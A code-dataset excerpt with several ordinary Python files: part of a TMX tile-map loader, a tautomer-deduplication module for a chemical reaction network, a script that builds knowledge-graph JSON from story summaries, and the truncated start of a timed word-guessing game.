__repr__(self):\n return self.__unicode__()\n\n @property\n def pos(self):\n return self.x, self.y\n\n @property\n def tile(self):\n return self.root.tiles[self.gid]\n\n @property\n def image(self):\n return self.tile.image\n\n @property\n def size(self):\n return self.tile.size\n\n\nclass TileLayer(ChildMixin, Element):\n description_attribute = 'name'\n\n def __init__(self, node, parent):\n super(TileLayer, self).__init__(parent)\n self.data = None\n\n self.name = None\n self.width = 0\n self.height = 0\n self.opacity = 1\n self.offsetx = 0\n self.offsety = 0\n self.visible = True\n\n self.init_from_node(node)\n\n def __iter__(self):\n return ifilter(None, self.data)\n\n def init_from_node(self, node):\n super(TileLayer, self).init_from_node(node)\n\n data_node = node.find('data')\n encoding = data_node.get('encoding')\n data = data_node.text.strip()\n if encoding == 'base64':\n data = b64decode(data)\n compression = data_node.get('compression')\n if compression == 'zlib':\n data = zlib.decompress(data)\n elif compression == 'qzip':\n raise NotImplementedError\n elif compression is not None:\n raise Exception('Unsupported data compression: {}.'.format(compression))\n data = iter(unpack_struct(data))\n\n elif encoding == 'csv':\n ichain = chain.from_iterable\n data = ichain(imap(int, ifilter(None, line.split(','))) for line in data.splitlines())\n else:\n raise Exception('Unsupported data encoding: {}.'.format(encoding))\n\n # TODO: handle scenario when gids are stored in s, rather than tag\n\n width = self.width\n height = self.height\n add_cell = self.add_cell\n self.data = tuple(add_cell(next(data), x, y) for y in xrange(height) for x in xrange(width))\n\n def add_cell(self, gid, x, y):\n if not gid:\n return\n\n gid, flags = decode_gid(gid)\n # add tiles that haven't been listed in tileset\n if gid not in self.parent.tiles:\n self.add_tile(gid)\n return Cell(self, gid, x, y, flags)\n\n def add_tile(self, gid):\n tileset = self.parent.get_tileset_by_gid(gid)\n tileset.add_tile(None, gid=gid, width=tileset.tilewidth, height=tileset.tileheight)\n\n\nclass TileSet(ChildMixin, AbsoluteSourceMixin, Element):\n description_attribute = 'name'\n\n def __init__(self, node, parent):\n super(TileSet, self).__init__(parent)\n self.maxgid = 0\n\n self.width = 0\n self.height = 0\n self.trans = None\n self.source = None\n\n self.name = None\n self.margin = 0\n self.spacing = 0\n self.tilewidth = 0\n self.tileheight = 0\n self.firstgid = None\n\n self.init_from_node(node)\n # TODO: handle tag\n\n def __iter__(self):\n tiles = self.parent.tiles\n for gid in xrange(self.firstgid, self.firstgid + self.maxgid):\n try:\n yield tiles[gid]\n except KeyError:\n continue\n\n @property\n def is_images_collection(self):\n return self.source is None\n\n def init_from_node(self, node):\n super(TileSet, self).init_from_node(node)\n\n # handle externals tilesets\n source = self.source\n if source and os.path.splitext(source)[1] == '.tsx':\n self.source = None\n external_tileset_node = ElementTree.parse(source).getroot()\n self.init_from_node(external_tileset_node)\n\n image_node = node.find('image')\n if image_node is not None:\n self.set_attrs_from_node(image_node)\n\n for tile_node in node.iter('tile'):\n self.add_tile(tile_node)\n\n def add_tile(self, node, **kwargs):\n tile = TileElement(node, self, **kwargs)\n self.parent.tiles[tile.gid] = tile\n if tile.gid > self.maxgid:\n self.maxgid = tile.gid\n return tile\n\n\ndef default_loader(tileset=None, image_layer=None):\n \"\"\"\n We are handling here tree types of objects:\n 1) tileset with a source (single image tileset)\n 2) tileset without a source (image collection tileset, each tile holds own image)\n 3) image layer (layer that holds single image source)\n \"\"\"\n def extract_image(tile=None):\n if tile is None:\n return image_layer.source\n return (tileset or tile).source\n return extract_image\n\n\nclass TileMap(Element):\n description_attribute = 'source'\n\n tileset_cls = TileSet\n tilelayer_cls = TileLayer\n tilelement_cls = TileElement\n imagelayer_cls = ImageLayer\n objectgroup_cls = ObjectGroup\n objectelement_cls = ObjectElement\n\n def __init__(self, map_source, image_loader=None, load_unused_tiles=False,\n invert_y=True, invert_tileset_y=False):\n super(TileMap, self).__init__()\n self.root = self\n self.parent = None\n self.source = map_source\n self.invert_y = invert_y\n self.invert_tileset_y = invert_tileset_y\n self.load_unused_tiles = load_unused_tiles\n self.load_image = image_loader or default_loader\n\n self.width = 0\n self.height = 0\n self.tilewidth = 0\n self.tileheight = 0\n self.version = None\n self.renderorder = None\n self.orientation = None\n self.nextobjectid = None\n\n self.tiles = {}\n self.layers = []\n self.tilesets = []\n\n self.load_map_data(map_source)\n\n @property\n def size(self):\n return self.width * self.tilewidth, self.height * self.tileheight\n\n @property\n def visible_layers(self):\n return self._get_layers(layer_type=None).filter(visible=True)\n\n @property\n def tile_layers(self):\n return self._get_layers(self.tilelayer_cls)\n\n @property\n def image_layers(self):\n return self._get_layers(self.imagelayer_cls)\n\n @property\n def object_groups(self):\n return self._get_layers(self.objectgroup_cls)\n\n @property\n def objects(self):\n objects = (g.objects for g in self.object_groups)\n return FilterIterator(chain.from_iterable(objects))\n\n def _get_layers(self, layer_type):\n layers = (l for l in self.layers if layer_type is None or isinstance(l, layer_type))\n return FilterIterator(layers)\n\n def get_tile(self, gid):\n return self.tiles[gid]\n\n def load_map_data(self, map_source):\n root_node = ElementTree.parse(map_source).getroot()\n return self.init_from_node(root_node)\n\n def init_from_node(self, node):\n super(TileMap, self).init_from_node(node)\n\n for child in node.findall('tileset'):\n self.add_tileset(child)\n\n for child in node.getchildren():\n tag = child.tag\n if tag in LayerType:\n self.add_layer(child)\n\n self.load_images()\n\n def add_tileset(self, node):\n self.tilesets.append(self.tileset_cls(node=node, parent=self))\n\n def add_layer(self, node):\n tag = node.tag\n if tag == LayerType.TileLayer:\n self.layers.append(self.tilelayer_cls(node=node, parent=self))\n elif tag == LayerType.ImageLayer:\n self.layers.append(self.imagelayer_cls(node=node, parent=self))\n elif tag == LayerType.ObjectGroup:\n self.layers.append(self.objectgroup_cls(node=node, parent=self))\n else:\n raise Exception('Unknown layer type: \"{}\".'.format(tag))\n\n def load_images(self):\n tiles = self.tiles\n load_image = self.load_image\n load_unused_tiles = self.load_unused_tiles\n for tileset in self.tilesets:\n loader = load_image(tileset=tileset)\n if tileset.is_images_collection:\n for tile in tileset:\n tile.image = loader(tile=tile)\n continue\n\n t = tileset\n reversed_uvs_product = product(\n xrange(t.margin, t.height + 1 - t.tileheight, t.tileheight + t.spacing),\n xrange(t.margin, t.width + 1 - t.tilewidth, t.tilewidth + t.spacing)\n )\n for gid, (y, x) in enumerate(reversed_uvs_product, t.firstgid):\n tile = tiles.get(gid)\n if tile is None:\n if not load_unused_tiles:\n continue\n tile = tileset.add_tile(None, gid=gid, width=tileset.tilewidth,\n height=tileset.tileheight)\n tile.set_uvs((x, y))\n tile.image = loader(tile=tile)\n\n for image_layer in self.image_layers:\n loader = load_image(image_layer=image_layer)\n image_layer.image = loader()\n\n def get_tileset_by_gid(self, gid):\n for tileset in reversed(self.tilesets):\n if gid >= tileset.firstgid:\n return tileset\n","repo_name":"labuzm/Tmxloader","sub_path":"tmxloader/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":18658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"12543743279","text":"from rdkit import Chem\nfrom rdkit.Chem.MolStandardize import rdMolStandardize\n\nimport time\nimport ambit_tautomer\n\n# molVs' smiles might not be identical to rdkit's so I used RDKit instead of molVs\nenum = rdMolStandardize.TautomerEnumerator()\n\ndef clean_taut(dg, dg_execute, algorithm=\"CMI\"):\n\t\"\"\"\n\tRemove tautomeric pairs produced in a given generation.\n\tNote: this doesn't remove tautomers in the parent generation and does not consider\n\twhether or not one of the parent molecules was a tautomer.\n\n\tKeyword Arguments:\n\n\tdg\t\t\t-- the DG (DerivationGraph) of the network to look at\n\tdg_execute\t-- an instance of the DGExecute object of the generation in context\n\talgorthm\t-- the algorithm to be used for enumerating tautomers\n\t\n\tAvailable algorithms include:\n \"CM\" for Simple Combinatorial,\n \"CMI\" for Improved Combinatorial,\n \"IA-DFS\" for Incremental Algorithm - Depth First Search\n \"combined\" doesn't work is intended for a combination of CMI and IA-DFS\n See https://onlinelibrary.wiley.com/doi/abs/10.1002/minf.201200133 for a detailed discussion\n of the algorithms\n\n\tReturns: the cleaned subset, universe\n\t\"\"\"\n\tinit_subset = time.time()\n\tsubset = dg_execute.subset\n\tend_subset = time.time()\n\tprint(f\"Took {end_subset - init_subset} seconds to initialize subset\")\n\tuniverse = dg_execute.universe\n\tend_universe = time.time()\n\tprint(f\"Took {end_universe - end_subset} seconds to create universe\")\n\t# The following line may seem redundant but it is needed for retaining the indices of subset\n\tgraphs = [g for g in subset]\n\tend_graphs = time.time()\n\tprint(f\"Took {end_graphs - end_universe} seconds to create list of graphs\")\n\t# list of smiles associated with each Graph object\n\tmod_subset_smiles = [g.smiles for g in subset]\n\t\n\n\tcdk_molecules = [ambit_tautomer.smilesToMolecule(smiles) for smiles in mod_subset_smiles]\n\t# convert to cdk unique smiles TODO: these smiles are perhaps not canonical.\n\tcdk_smiles = [ambit_tautomer.smiles_from_molecule(mol) for mol in cdk_molecules]\n\tend_canonicalization = time.time()\n\tprint(f\"Took {end_canonicalization - end_graphs} to canonicalize SMILES\")\n\t# a mapping of the Graph objects with their corresponding DGVertex objects\n\tmod_dgverts = {v.graph: v for v in dg.vertices if v.graph in subset}\n\tend_dgverts = time.time()\n\tprint(f\"Took {end_dgverts - end_canonicalization} to create dg vertices\")\n\t# a mapping {smiles: tuple(smiles)} between the smiles of a given molecule\n\t# and those of all possible tautomers for that molecule\n\ttaut_tautset_dict = {}\n\tfor smiles in cdk_smiles:\n\t\ttaut_tautset_dict[smiles] = ambit_tautomer.generateTautomers(smiles, mode)\n\ttautomer_sets = tuple(taut_tautset_dict.values())\n\tcomplete_enumeration = time.time()\n\tprint(f\"Took {complete_enumeration-end_dgverts} to create tautomer classes\")\n\tstart_whatever = time.time()\n\tclass_ids = {}\n\t# create initial class ids\n\tfor i in range(len(tautomer_sets)):\n\t\tclass_ids[tautomer_sets[i]] = i\n\t# find sets with common elements and assign them the same class id\n\tfor i in range(len(tautomer_sets)):\n\t\tfor j in range(i+1, len(tautomer_sets)):\n\t\t\tfor item in tautomer_sets[i]:\n\t\t\t\tif item in tautomer_sets[j]:\n\t\t\t\t\t#print(f'Classes {i} and {j} have common elements')\n\t\t\t\t\tif class_ids[tautomer_sets[i]] < class_ids[tautomer_sets[j]]:\n\t\t\t\t\t\tclass_ids[tautomer_sets[j]] = class_ids[tautomer_sets[i]]\n\t\t\t\t\telse:\n\t\t\t\t\t\tclass_ids[tautomer_sets[i]] = class_ids[tautomer_sets[j]]\n\t\t\t\t\tbreak\n\n\treversed_dict = {} # {class id: [all relevant smiles in MOD]}\n\t\n\tfor i in range(len(cdk_smiles)):\n\t\tfor tautomer_class, class_id in class_ids.items():\n\t\t\tif cdk_smiles[i] in tautomer_class:\n\t\t\t\tif class_id in reversed_dict.keys():\n\t\t\t\t\treversed_dict[class_id].append(mod_subset_smiles[i])\n\t\t\t\telif class_ids[tautomer_class] not in reversed_dict.keys():\n\t\t\t\t\treversed_dict[class_id] = [mod_subset_smiles[i]]\n\t\n\t#print(\"There are {0} unique tautomer classes among {1} molecules\".format(len(reversed_dict.keys()), len(subset)))\n\t\n\t# a mapping {smiles: smiles}, the one that nees to be kept and the ones that need to be removed\n\tto_remove = {}\n\n\tfor seen_tautomers in reversed_dict.values():\n\t\tif len(seen_tautomers) > 1:\n\t\t\tfor i in range(1, len(seen_tautomers)):\n\t\t\t\tto_remove[seen_tautomers[0]] = seen_tautomers[i]\n\tprint(f\"My part took {time.time() - start_whatever} to complete\")\n\tp = GraphPrinter()\n\tp.simpleCarbons = True\n\tp.withColour = True\n\tp.collapseHydrogens = True\n\tstart_removing = time.time()\n\t# for each list of redundant tautomer smiles and the corresponding one tautomer to be kept\n\tfor to_keep, item_to_remove in to_remove.items():\n\t\t# for each item in the list\n\t\tindex = mod_subset_smiles.index(item_to_remove)\n\t\tindex_to_keep = mod_subset_smiles.index(to_keep)\n\t\tpostSection(f\"Removed\")\n\t\tgraphs[index].print(p)\n\t\tpostSection(f\"Kept\")\n\t\tgraphs[index_to_keep].print(p)\n\n\t\t# The DGVertex associated with the molecule to be removed\n\t\tdg_vertex = mod_dgverts[graphs[index]]\n\t\t# add a fake edge to the preserved graph to account for the removed graph (to avoid loss of reaction info)\n\t\tstart_adding_edge = time.time()\n\t\tfor e in dg_vertex.inEdges:\n\t\t\tfor source in e.sources:\n\t\t\t\td = Derivations()\n\t\t\t\td.left = [source.graph]\n\t\t\t\td.rules = e.rules\n\t\t\t\td.right = [graphs[index_to_keep]]\n\t\t\t\tb.addDerivation(d)\n\t\t\t\tprint(f\"Took {time.time()-start_adding_edge} to add edge {d}\")\n\t\t\t\t#print(f\"Addded fake edge {d}\")\n\t\tsubset.remove(graphs[index])\n\t\tuniverse.remove(graphs[index])\n\t\t#print(f\"Removing {graphs[index]} and keeping {graphs[index_to_keep]}\")\n\tprint(f\"Took {time.time() - start_removing} to remove tautomers from the network\")\n\treturn subset, universe\n\n\ndef clean_taut_rdkit(dg, dg_execute):\n\t\"\"\"\n\tClean tautomers from the derivation graph using RDKit\n\tThis was initially created as a test but it turns out RDKit does too many proton shifts\n\tand identifies unique species as tautomers. Considering that, Ambit with CMI algo could be a decent bet.\n\n\tKeyword arguments:\n\tdg --- a DG (DerivationGraph) object instance holding the network\n\tdg_execute --- a DGBuildExecute object instance\n\n\treturn: the cleaned subset, universe \n\t\"\"\"\n\tsubset = dg_execute.subset\n\tuniverse = dg_execute.universe\n\t# The following line may seem redundant but it is needed for retaining the indices of subset\n\tgraphs = [g for g in subset]\n\t# list of smiles associated with each Graph objectts/reac-space-exp/rules/michaelAddition.py')\n\tmod_subset_smiles = [g.smiles for g in subset]\n\t# a mapping of the Graph objects with their corresponding DGVertex objects\n\tmod_dgverts = {v.graph: v for v in dg.vertices if v.graph in subset}\n\t# the list of RDKit canonical SMILES\n\trdkit_subset_smiles = []\n\t# a mapping {smiles: tuple(smiles)} between the smiles of a given molecule\n\t# and those of all possible tautomers for that molecule\n\ttaut_tautset_dict = {}\n\t# a mapping {smiles: smiles} of the tautomer that needs removing to the one that should be kept\n\tto_remove = {}\n\t# Populate all possible tautomers and add to the above empty dict\n\tfor mod_smiles in mod_subset_smiles:\n\t\tmol = Chem.MolFromSmiles(mod_smiles)\n\t\t# convert into rdkit canonical smiles\n\t\trdkit_smiles = Chem.MolToSmiles(mol)\n\t\trdkit_subset_smiles.append(rdkit_smiles)\n\t\t# generate Mol objects of all possible tautomers\n\t\tall_tauts = enum.Enumerate(mol)\n\t\t# convert into smilesif item in cdk_smiles:\n\t\t\t\t# TODO: complete\n\t\tall_taut_smiles = tuple(Chem.MolToSmiles(taut) for taut in all_tauts)\n\t\ttaut_tautset_dict[mod_smiles] = all_taut_smiles\n\t# a tuple of tuples, containing tautomer classes as elements\n\tlist_tautset = tuple(taut_tautset_dict.values())\n\n\t# I thought assigning class ids was a decent way of seeing which tautomer classes are identical\n\t# {tautomer_class: class_id}\n\tclass_ids = {}\n\t# create initial class ids\n\tfor i in range(len(list_tautset)):\n\t\tclass_ids.update({list_tautset[i]: i})\n\n\t# for debugging purpose\n\t#ids_tonote = []\n\t#f = open('incomplete_match.txt', 'w')\n\t# search for matching tautomer classes\n\tfor i in range(len(list_tautset)):\n\t\tfor j in range(i+1, len(list_tautset)):\n\t\t\tfor item in list_tautset[i]:\n\t\t\t\tif item in list_tautset[j]:\n\t\t\t\t\t#if list_tautset[j] != list_tautset[i]:\n\t\t\t\t\t\t#ids_tonote.append(class_ids[list_tautset[i]])\n\t\t\t\t\t\t#f.write('Classes {0} and {1} have common elements but are not identical'.format(list_tautset[i], list_tautset[j]))\n\t\t\t\t\t\t#f.write('\\n')\n\t\t\t\t\t#print(f'Classes {i} and {j} have common elements')\n\t\t\t\t\t#class_ids[list_tautset[i]] = class_ids[list_tautset[i]]\n\t\t\t\t\tclass_ids[list_tautset[j]] = class_ids[list_tautset[i]]\n\t\t\t\t\t#print('Updated class ids to ', class_ids[list_tautset[i]])\n\t\t\t\t\tbreak\n\t#f.close()\n\t# Now, since we're done finding identical class ids\n\t# A dictionary of observed tautomer classes mapped as {class id: [list of smiles]}\n\tdict_observed_tauts = {}\n\tfor taut_class, class_id in class_ids.items():\n\t\tfor i in range(len(rdkit_subset_smiles)):\n\t\t\tif rdkit_subset_smiles[i] in taut_class:\n\t\t\t\t# note that these are the smiles of the graph generated by mod (not rdkit's smiles)\n\t\t\t\tif class_id in dict_observed_tauts.keys():\n\t\t\t\t\tdict_observed_tauts[class_id].append(mod_subset_smiles[i])\n\t\t\t\telse :\n\t\t\t\t\tdict_observed_tauts[class_id] = [mod_subset_smiles[i]]\n\tprint('{0} unique tautomer classes in {1} molecules'.format(len(dict_observed_tauts.keys())\n\t\t\t\t\t\t\t\t, len(subset)))\n\t# debugging which molecules are causing trouble\n\t#print(class_ids)\n\t# add to the dictionary of items to be removed\n\tfor taut_class in dict_observed_tauts.values():\n\t\tif len(taut_class) > 1:\n\t\t\tfor i in range(1, len(taut_class)):\n\t\t\t\tto_remove[taut_class[i]] = taut_class[0]\n\tfor smiles in to_remove.keys():\n\t\t# The DGVertex associated with the molecule to be removed\n\t\tdg_vertex = mod_dgverts[graphs[mod_subset_smiles.index(smiles)]]\n\t\t# add a fake edge to the preserved graph to account for the removed graph (to avoid loss of reaction info)\n\t\tfor e in dg_vertex.inEdges:\n\t\t\tfor source in e.sources:\n\t\t\t\t\td = Derivations()\n\t\t\t\t\td.left = [source.graph]\n\t\t\t\t\td.rules = e.rules\n\t\t\t\t\td.right = [graphs[mod_subset_smiles.index(to_remove[smiles])]]\n\t\t\t\t\tb.addDerivation(d)\n\t\tsubset.remove(graphs[mod_subset_smiles.index(smiles)])\n\t\tuniverse.remove(graphs[mod_subset_smiles.index(smiles)])\n\treturn subset, universe","repo_name":"Reaction-Space-Explorer/reac-space-exp","sub_path":"main/clean_tautomers.py","file_name":"clean_tautomers.py","file_ext":"py","file_size_in_byte":10175,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"25257226659","text":"from distutils.util import strtobool\nimport re\nimport os\nimport json\nimport argparse\n\n\n# titleとscene_group_nameを入力すると, 何個の文章に分かれて保存されているか求めて, その数を返す関数\ndef find_max_split_idx(title, scene_group_name):\n dir_files = os.listdir(f\"log/{title}/{scene_group_name}\")\n split_idxs = []\n file_pattern = re.compile(f\"body_scene(\\d+)\\.txt\")\n for file in dir_files:\n try:\n split_idxs.append(int(re.findall(file_pattern, file)[0]))\n except:\n pass\n \n return max(split_idxs)+1\n\n\n# tgt_item(node, edge)が登場した場面を求める関数\ndef find_appear_split(tgt_item, raw_items):\n result_split_idxs = []\n for split_idx, raw_item in enumerate(raw_items):\n if tgt_item in raw_item:\n result_split_idxs.append(split_idx)\n \n return result_split_idxs\n\n\n# jsonに保存するsummaryをjson_summaryにまとめる関数\ndef make_json_summary(title, scene_group_name, max_split_idx):\n # jsonに保存するsummary情報を格納\n json_summary = []\n\n # summary, scene_infoの読み込み\n with open(f\"log/{title}/{scene_group_name}/summary.txt\", encoding=\"utf-8\") as f:\n summaries = f.read().split(\"\\n\")\n with open(f\"log/{title}/{scene_group_name}/scene_info.txt\", encoding=\"utf-8\") as f:\n scene_infos = f.read().split(\"\\n\")\n\n # summaryの追加\n json_summary = [\n f\"

{split_idx + 1}. {scene_infos[split_idx]}
{summaries[split_idx]}

\" \n for split_idx in range(max_split_idx)\n ]\n\n return json_summary\n\n\n# jsonに保存するnode情報をjson_nodesにまとめる関数\n# TODO: node_title(ノードの詳細情報), node_group(ノードの分類)を追加 *5から修正する必要がある\ndef make_json_nodes(title, scene_group_name, max_split_idx):\n # jsonに保存するnode情報を格納\n json_nodes = []\n\n # nodeの読み込み\n raw_nodes_list = []\n for split_idx in range(max_split_idx):\n with open(f\"log/{title}/{scene_group_name}/node_scene{split_idx}.txt\", encoding=\"utf-8\") as f:\n raw_nodes_list.append(f.read().split(\"\\n\"))\n\n # 全てのノード名を収集(登場順を保持)\n all_node_labels = sorted(set(sum(raw_nodes_list, [])), key=sum(raw_nodes_list, []).index)\n for node_label in all_node_labels:\n # node_id, node_label, node_periodを追加\n # node_id: node_labelと同じに設定(id, labelに'を含むとエラーが発生するため, json作成時に'を取り除く)\n # node_period: ノードが登場してから最後の場面までに設定\n # TODO: 適切なnode_periodの設定方法を考案\n json_nodes.append(\n {\n \"id\": node_label.replace(\"'\", \"\"),\n \"label\": node_label.replace(\"'\", \"\"),\n \"shape\": \"box\",\n \"period\": [split_idx + 1 for split_idx in find_appear_split(node_label, raw_nodes_list)],\n \"size\": 20,\n }\n )\n \n # jsonに保存するnode情報と, ノードidの集合(=ノードlabelの集合, edge作成に利用)を返す\n return json_nodes, all_node_labels\n\n\n# jsonに保存するedge情報をjson_edgesにまとめる関数\n# TODO: edge_title(エッジの詳細情報)を追加 *5から修正する必要がある\ndef make_json_edges(title, scene_group_name, max_split_idx, all_node_labels):\n # jsonに保存するedge情報を格納\n json_edges = []\n\n # edgeの読み込み(読み込み時にカンマの表記揺れを統一)\n raw_edges_list = []\n for split_idx in range(max_split_idx):\n with open(f\"log/{title}/{scene_group_name}/edge_scene{split_idx}.txt\", encoding=\"utf-8\") as f:\n raw_edges_list.append([re.sub(r\"\\s*,\\s*\", r\",\", raw_edge) for raw_edge in f.read().split(\"\\n\")])\n\n # 全てのラベル表現を収集(登場順を保持)\n # TODO: 複数回登場する同一edgeへの対応(現時点では, 最初に発生したedgeのみを考慮している)\n all_raw_edges = sorted(set(sum(raw_edges_list, [])), key=sum(raw_edges_list, []).index)\n for raw_edge in all_raw_edges:\n edge_from_label, edge_label, edge_to_label = raw_edge.split(\",\")\n # from, toが共にnodesに登録されている場合のみedge情報を抽出\n if (edge_from_label in all_node_labels) and (edge_to_label in all_node_labels):\n # edge_id, edge_label, edge_to, edge_from, edge_periodを追加\n # edge_id: raw_edgeと同じに設定(現時点では, 最初に発生したedgeのみを考慮している)\n # edge_period: エッジが登場した場面のみに設定\n json_edges.append(\n {\n \"id\": raw_edge.replace(\"'\", \"\"),\n \"label\": edge_label.replace(\"'\", \"\"),\n \"from\": edge_from_label.replace(\"'\", \"\"),\n \"to\": edge_to_label.replace(\"'\", \"\"),\n \"arrows\": \"to\",\n \"period\": [split_idx + 1 for split_idx in find_appear_split(raw_edge, raw_edges_list)],\n }\n )\n \n return json_edges\n\n\n# 使われていないノードを削除する関数\ndef remove_unused_nodes(json_dict):\n new_json_dict = {}\n \n # ノードを順番に確認し, 使われているノードを格納していく\n new_json_nodes = []\n for node_dict in json_dict[\"nodes\"]:\n # このノードのperiodを更新する\n new_node_periods = []\n # このノードがあるperiodでedgesから参照されている場合, このperiodをnew_node_periodsに追加する\n for node_period in node_dict[\"period\"]:\n # 全てのedgeについて, このノードを参照しているかどうか確認していく\n # edgeのもう一方のノードが同じperiodに存在しているかどうかも確認\n flag = 0\n for edge_dict in json_dict[\"edges\"]:\n if (node_period in edge_dict[\"period\"]) and (node_dict[\"id\"] == edge_dict[\"from\"]):\n for tmp_node_dict in json_dict[\"nodes\"]:\n if (tmp_node_dict[\"id\"] == edge_dict[\"to\"]) and (node_period in tmp_node_dict[\"period\"]):\n new_node_periods.append(node_period)\n flag = 1\n break\n elif (node_period in edge_dict[\"period\"]) and (node_dict[\"id\"] == edge_dict[\"to\"]):\n for tmp_node_dict in json_dict[\"nodes\"]:\n if (tmp_node_dict[\"id\"] == edge_dict[\"from\"]) and (node_period in tmp_node_dict[\"period\"]):\n new_node_periods.append(node_period)\n flag = 1\n break\n if flag:\n break\n\n # new_node_periodsが空ではない場合, このノードは使われている\n if new_node_periods:\n new_json_nodes.append(\n {\n \"id\": node_dict[\"id\"],\n \"label\": node_dict[\"label\"],\n \"shape\": \"box\",\n \"period\": new_node_periods,\n \"size\": node_dict[\"size\"]\n }\n )\n \n # json_dictを更新する\n new_json_dict[\"title\"] = json_dict[\"title\"]\n new_json_dict[\"summary\"] = json_dict[\"summary\"]\n new_json_dict[\"nodes\"] = new_json_nodes\n new_json_dict[\"edges\"] = json_dict[\"edges\"]\n\n return new_json_dict\n\n\n# from, to, periodが同じedgeを統合する関数\n# 統合後のlabelは最後に登場するlabelに設定し, 統合後のtitleは全てのtitleを\"&\"で繋いだものとする\n# TODO: より良い統合方法の作成 *5から修正する必要がある\ndef integrate_same_from_to_period_edges(json_dict, max_split_idx):\n # json_dict[\"edges\"]のうち, ユニークなfromとtoを収集\n unique_from_to_ids = set()\n for edge in json_dict[\"edges\"]:\n from_to_id = (edge[\"from\"], edge[\"to\"])\n unique_from_to_ids.add(from_to_id)\n\n # uniqueなfromとtoについて, 各periodで登場するか確認していき, 登場する場合一つのedgeにまとめる\n unique_json_edges = []\n for unique_from_to_id in unique_from_to_ids:\n unique_from, unique_to = unique_from_to_id\n # 注意: periodは1から始まる\n for period in range(1, max_split_idx+1):\n # 全てのedgeを確認して, from, to, periodが同じものをリストに追加していく\n same_from_to_period_edges = []\n for edge in json_dict[\"edges\"]:\n if (edge[\"from\"] == unique_from) and (edge[\"to\"] == unique_to) and (period in edge[\"period\"]):\n same_from_to_period_edges.append(edge)\n \n # リストに追加されている場合, 新しいedgesに追加\n # labelの内容は最後に登場したedgeと同じにして, titleの内容は各edgeの内容を\"&\"で繋いだものとする\n if same_from_to_period_edges:\n unique_json_edges.append(\n {\n \"id\": f\"{unique_from}to{unique_to}_{period}\",\n \"label\": same_from_to_period_edges[-1][\"label\"],\n \"title\": \" & \".join(\n [\n same_from_to_period_edge[\"label\"] \n for same_from_to_period_edge in same_from_to_period_edges\n ]\n ),\n \"from\": unique_from,\n \"to\": unique_to,\n \"arrows\": \"to\",\n \"period\": [period],\n \"smooth\": {\"type\": \"curvedCW\", \"roundness\": 0.3}\n }\n )\n\n json_dict[\"edges\"] = unique_json_edges\n\n return json_dict\n\n\ndef main():\n # 設定\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--title\", type=str, default=\"The Story of the Three Little Pigs\")\n parser.add_argument(\"--use_location\", type=str, default=\"True\")\n parser.add_argument(\"--use_time\", type=str, default=\"False\")\n parser.add_argument(\"--use_character\", type=str, default=\"False\")\n args = parser.parse_args()\n\n title = args.title\n use_location = strtobool(args.use_location)\n use_time = strtobool(args.use_time)\n use_character = strtobool(args.use_character)\n\n scene_group_names = [\"location\"] * use_location + [\"time\"] * use_time + [\"character\"] * use_character\n scene_group_name = \"_\".join(scene_group_names)\n\n max_split_idx = find_max_split_idx(title, scene_group_name)\n\n # すでに実行済みの場合, 実行しない\n if os.path.exists(f\"log/{title}/{scene_group_name}/graph.json\"):\n print(\"json file has already existed!\")\n exit()\n\n # 要約が存在しない場合, 先に4_summarize_splited_body.pyを実行するように促す\n if not os.path.exists(f\"log/{title}/{scene_group_name}/summary.txt\"):\n print(\"Summary doesn't exist!\")\n print(\n f\"Please run 'python 4_summarize_splited_body.py --title {title}\"\n f\" --use_location {use_location} --use_time {use_time} --use_character {use_character}'\"\n )\n \n # ノード, エッジが存在しない場合, 先に5_create_knowledge_graph.pyを実行するように促す\n if not os.path.exists(f\"log/{title}/{scene_group_name}/node_scene0.txt\"):\n print(\"Knowledge graph doesn't exist!\")\n print(\n f\"Please run 'python 5_create_knowledge_graph.py --title {title}\"\n f\" --use_location {use_location} --use_time {use_time} --use_character {use_character}'\"\n )\n \n\n # jsonファイルの作成\n json_dict = {}\n\n # titleの追加\n json_dict[\"title\"] = title\n\n # summaryの追加\n json_dict[\"summary\"] = make_json_summary(title, scene_group_name, max_split_idx)\n\n # nodesの追加\n json_nodes, all_node_labels = make_json_nodes(title, scene_group_name, max_split_idx)\n json_dict[\"nodes\"] = json_nodes\n\n # edgesの追加\n json_dict[\"edges\"] = make_json_edges(title, scene_group_name, max_split_idx, all_node_labels)\n\n # 使われていないnodesの削除\n json_dict = remove_unused_nodes(json_dict)\n\n # from, to, periodが同じedgesの統合\n json_dict = integrate_same_from_to_period_edges(json_dict, max_split_idx)\n\n # jsonファイルの保存\n with open(f\"log/{title}/{scene_group_name}/graph.json\", \"w\", encoding=\"utf-8\") as f:\n json.dump(json_dict, f, indent=4)\n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"u109755b/mm-enshu-2023","sub_path":"processing_with_body_text/6_create_json.py","file_name":"6_create_json.py","file_ext":"py","file_size_in_byte":12703,"program_lang":"python","lang":"ja","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"11766736714","text":"import time\r\nimport sys\r\np = open(sys.argv[1],\"r\",encoding=\"utf-8\")\r\nf = open(sys.argv[2],\"r\",encoding=\"utf-8\")\r\nvalue = {}\r\npoints = []\r\nguessed = []\r\nscore = []\r\nfor l in f.readlines():\r\n a = l.rstrip(\"\\n\").split(\":\")\r\n value[a[0]] = int(a[1])\r\nfor k in p.readlines():\r\n guessed.clear()\r\n score.clear()\r\n a = time.time()\r\n words = k.rstrip(\"\\n\").split(\":\")\r\n trueguess = words[1].split(\",\")\r\n print(\"shuffled letters are : \", words[0], \" Please guess words for these letters with minimum three letters\", )\r\n while time.time()-a < 30:\r\n guess = input(\"guessed word:\").replace(\"i\",\"İ\").upper()\r\n if time.time() - a < 30:\r\n if guess in trueguess:\r\n if not guess in guessed:\r\n guessed.append(guess)\r\n for point in guess:\r\n points.append(value[point])\r\n score.append(sum(points)*len(guess))\r\n points.clear()\r\n print(\"you have\",30-(int(time.time() - a)),\"time\")\r\n else:\r\n print(\"You already guessed that.\")\r\n print(\"you have\", 30 - (int(time.time() - a)), \"time\")\r\n else:\r\n print(\"Your guessed word is not a valid word\")\r\n print(\"you have\",30-(int(time.time() - a)),\"time\")\r\n pass\r\n else:\r\n print(\"Time's up\")\r\n print(\"score for \",words[0],\"is\",sum(score),\"and guessed words are: 